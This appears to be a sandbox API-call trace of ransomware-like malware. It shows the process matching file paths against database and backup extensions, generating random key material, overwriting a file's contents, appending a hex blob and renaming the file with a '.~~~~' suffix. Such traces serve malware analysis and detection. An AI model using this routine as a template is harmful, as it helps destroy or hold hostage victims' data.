	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".sql") returned 0x0
	[0082.092] lstrlenW (lpString=".MYD") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".MYD") returned 0x0
	[0082.092] lstrlenW (lpString=".DBT") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DBT") returned 0x0
	[0082.092] lstrlenW (lpString=".ACCDB") returned 6
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.092] lstrlenW (lpString=".fdb") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".fdb") returned 0x0
	[0082.092] lstrlenW (lpString=".bak") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".bak") returned 0x0
	[0082.092] lstrlenW (lpString=".myd") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".myd") returned 0x0
	[0082.092] lstrlenW (lpString=".DTXS") returned 5
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0082.092] lstrlenW (lpString=".ckp") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".ckp") returned 0x0
	[0082.092] lstrlenW (lpString=".dbt") returned 4
	[0082.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".dbt") returned 0x0
	[0082.093] lstrlenW (lpString=".db") returned 3
	[0082.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".db") returned 0x0
	[0082.093] lstrlenW (lpString=".TXT") returned 4
	[0082.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".TXT") returned 0x0
	[0082.093] lstrlenW (lpString=".MDF") returned 4
	[0082.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".MDF") returned 0x0
	[0082.093] lstrlenW (lpString=".bdb") returned 4
	[0082.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".bdb") returned 0x0
	[0082.093] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.093] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.094] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.094] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.094] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20208439154) returned 1
	[0082.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ac53ed0, dwHighDateTime=0x1d60e1e)) 
	[0082.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a37d0
	[0082.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a37d0 | out: hHeap=0x300000) returned 1
	[0082.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7ae0
	[0082.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0082.095] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.095] GetLastError () returned 0x0
	[0082.095] GetLastError () returned 0x0
	[0082.095] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.096] GetLastError () returned 0x0
	[0082.096] GetLastError () returned 0x0
	[0082.096] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x4380, lpOverlapped=0x0) returned 1
	[0082.098] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffbc80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.098] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x4380, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x4380, lpOverlapped=0x0) returned 1
	[0082.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.099] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.099] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.099] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.099] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.099] CloseHandle (hObject=0x120) returned 1
	[0082.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.~~~~")) returned 1
	[0082.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0082.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.100] GetLastError () returned 0x0
	[0082.100] RtlWakeConditionVariable () returned 0x365f70
	[0082.100] GetCurrentThreadId () returned 0x9cc
	[0082.100] GetCurrentThreadId () returned 0x9cc
	[0082.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4d38 | out: hHeap=0x300000) returned 1
	[0082.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3798 | out: hHeap=0x300000) returned 1
	[0082.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4d38
	[0082.101] lstrlenW (lpString=".scr") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0082.101] lstrlenW (lpString=".cmd") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0082.101] lstrlenW (lpString=".dll") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0082.101] lstrlenW (lpString=".bat") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0082.101] lstrlenW (lpString=".cpl") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0082.101] lstrlenW (lpString=".sys") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0082.101] lstrlenW (lpString=".msc") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0082.101] lstrlenW (lpString=".com") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0082.101] lstrlenW (lpString=".lnk") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0082.101] lstrlenW (lpString=".msp") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0082.101] lstrlenW (lpString=".pif") returned 4
	[0082.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0082.101] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0082.103] lstrlenW (lpString=".sqb") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0082.103] lstrlenW (lpString=".ost") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0082.103] lstrlenW (lpString=".txt") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0082.103] lstrlenW (lpString=".mdt") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0082.103] lstrlenW (lpString=".BDB") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0082.103] lstrlenW (lpString=".eql") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0082.103] lstrlenW (lpString=".DBF") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0082.103] lstrlenW (lpString=".EQL") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0082.103] lstrlenW (lpString=".FDB") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0082.103] lstrlenW (lpString=".EDB") returned 4
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0082.103] lstrlenW (lpString=".DACPAC") returned 7
	[0082.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0082.103] lstrlenW (lpString=".VHD") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0082.104] lstrlenW (lpString=".DBV") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0082.104] lstrlenW (lpString=".dacpac") returned 7
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0082.104] lstrlenW (lpString=".sdf") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0082.104] lstrlenW (lpString=".accdb") returned 6
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0082.104] lstrlenW (lpString=".DBX") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0082.104] lstrlenW (lpString=".MDT") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0082.104] lstrlenW (lpString=".SQB") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0082.104] lstrlenW (lpString=".vhd") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0082.104] lstrlenW (lpString=".bac") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0082.104] lstrlenW (lpString=".mdf") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0082.104] lstrlenW (lpString=".BAK") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0082.104] lstrlenW (lpString=".BAC") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0082.104] lstrlenW (lpString=".dbs") returned 4
	[0082.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0082.105] lstrlenW (lpString=".vhdx") returned 5
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0082.105] lstrlenW (lpString=".NDF") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0082.105] lstrlenW (lpString=".dat") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0082.105] lstrlenW (lpString=".DBS") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0082.105] lstrlenW (lpString=".CKP") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0082.105] lstrlenW (lpString=".edb") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0082.105] lstrlenW (lpString=".PST") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0082.105] lstrlenW (lpString=".dbf") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0082.105] lstrlenW (lpString=".SQL") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0082.105] lstrlenW (lpString=".pst") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0082.105] lstrlenW (lpString=".dbv") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0082.105] lstrlenW (lpString=".SDF") returned 4
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0082.105] lstrlenW (lpString=".dtxs") returned 5
	[0082.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0082.106] lstrlenW (lpString=".db3") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0082.106] lstrlenW (lpString=".OST") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0082.106] lstrlenW (lpString=".dbx") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0082.106] lstrlenW (lpString=".DB3") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0082.106] lstrlenW (lpString=".DAT") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0082.106] lstrlenW (lpString=".VHDX") returned 5
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0082.106] lstrlenW (lpString=".ndf") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0082.106] lstrlenW (lpString=".DB") returned 3
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0082.106] lstrlenW (lpString=".sql") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0082.106] lstrlenW (lpString=".MYD") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0082.106] lstrlenW (lpString=".DBT") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0082.106] lstrlenW (lpString=".ACCDB") returned 6
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0082.106] lstrlenW (lpString=".fdb") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0082.106] lstrlenW (lpString=".bak") returned 4
	[0082.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0082.107] lstrlenW (lpString=".myd") returned 4
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0082.107] lstrlenW (lpString=".DTXS") returned 5
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0082.107] lstrlenW (lpString=".ckp") returned 4
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0082.107] lstrlenW (lpString=".dbt") returned 4
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0082.107] lstrlenW (lpString=".db") returned 3
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0082.107] lstrlenW (lpString=".TXT") returned 4
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0082.107] lstrlenW (lpString=".MDF") returned 4
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0082.107] lstrlenW (lpString=".bdb") returned 4
	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0082.107] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
